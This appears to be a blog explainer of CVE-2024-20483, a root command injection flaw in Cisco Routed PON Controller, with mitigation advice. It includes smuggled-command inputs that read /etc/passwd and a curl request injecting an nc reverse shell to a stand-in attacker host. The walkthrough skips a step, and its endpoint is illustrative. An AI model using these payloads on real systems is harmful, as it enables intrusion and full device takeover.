CVE-2024-20483 is a critical security vulnerability in Cisco Routed PON Controller Software. This software runs as a Docker container on hardware that supports Cisco IOS XR. The issue allows attackers with admin-level access (or access directly to the PON Manager's MongoDB database) to inject arbitrary commands that the PON Controller will then execute as root. This is as serious as it sounds: someone with access can take over the system completely.

Big Picture: Why is this a Problem?

Command injection is one of the most dangerous vulnerability classes. When software fails to strictly check ("sanitize") user-supplied input, hackers can sneak in commands, gaining direct control over the operating system. In the case of CVE-2024-20483, insufficient input validation in configuration commands leads to this scenario. If you're running Cisco Routed PON (Passive Optical Network) controllers, you're at risk.

How Does It Happen?

1. The controller exposes configuration commands that can be reached by authenticated admins, or anyone who can access the MongoDB database powering the PON Manager.

Example: Vulnerable Configuration Command

Let’s imagine a configuration command expects a site name as input. Here’s pseudo-code simulating what’s happening:

# Hypothetical server-side code
def update_site(site_name):
    os.system(f"ponctl update-site {site_name}")

If no sanitation happens, an attacker can send a site name like

my_site_name; whoami; id; cat /etc/passwd

The command executed by the system will be

ponctl update-site my_site_name; whoami; id; cat /etc/passwd

This allows execution of *any* command after the semicolon.

Step 1: Obtain Authenticated Access

First, the attacker needs valid admin credentials to the PON Manager or direct access to the MongoDB instance.

Suppose the PON Manager has a form to update the "Name" of a PON site. The attacker enters

MySite; touch /tmp/pwned

Step 3: Root Shell Access

Because the command runs as root inside the container, the attacker can do anything at the OS level—including downloading and running rootkits, stealing credentials, or pivoting to attack other devices.

Example Exploit with curl

curl -k -X POST https://pon-controller/api/siteUpdate \
  -H "Authorization: Bearer <admin_token>" \
  -d '{"siteName": "MySite; nc -e /bin/bash attackerIP 4444"}'

If successful, this will set up a reverse shell to attackerIP on port 4444.

How Can You Protect Yourself?

- Immediately apply patches or updates provided by Cisco. See the official Cisco security advisory for details.
- Limit network access to the PON Manager and the backend MongoDB database to only trusted users/devices.

Enforce strong authentication and monitoring for admin accounts.

- As an admin, never trust user input, even from other admins—filters or whitelist inputs in any scripts or code.

References

- Cisco Security Advisory for CVE-2024-20483
- NIST CVE Report
- OWASP Command Injection

TL;DR

CVE-2024-20483 lets attackers who can talk to the Cisco PON Manager or its MongoDB server inject and run OS commands as root just by crafting bad input to certain configuration commands. It’s easy to exploit, and extremely dangerous. Patching and network controls are critical—update and lock down your systems asap!


If you’re responsible for Cisco network gear, act now. Command injection is not something to gamble with. It’s not just about losing control of your PON controller—it’s your whole network at risk.

Timeline

Published on: 09/11/2024 17:15:13 UTC
Last modified on: 10/03/2024 01:44:17 UTC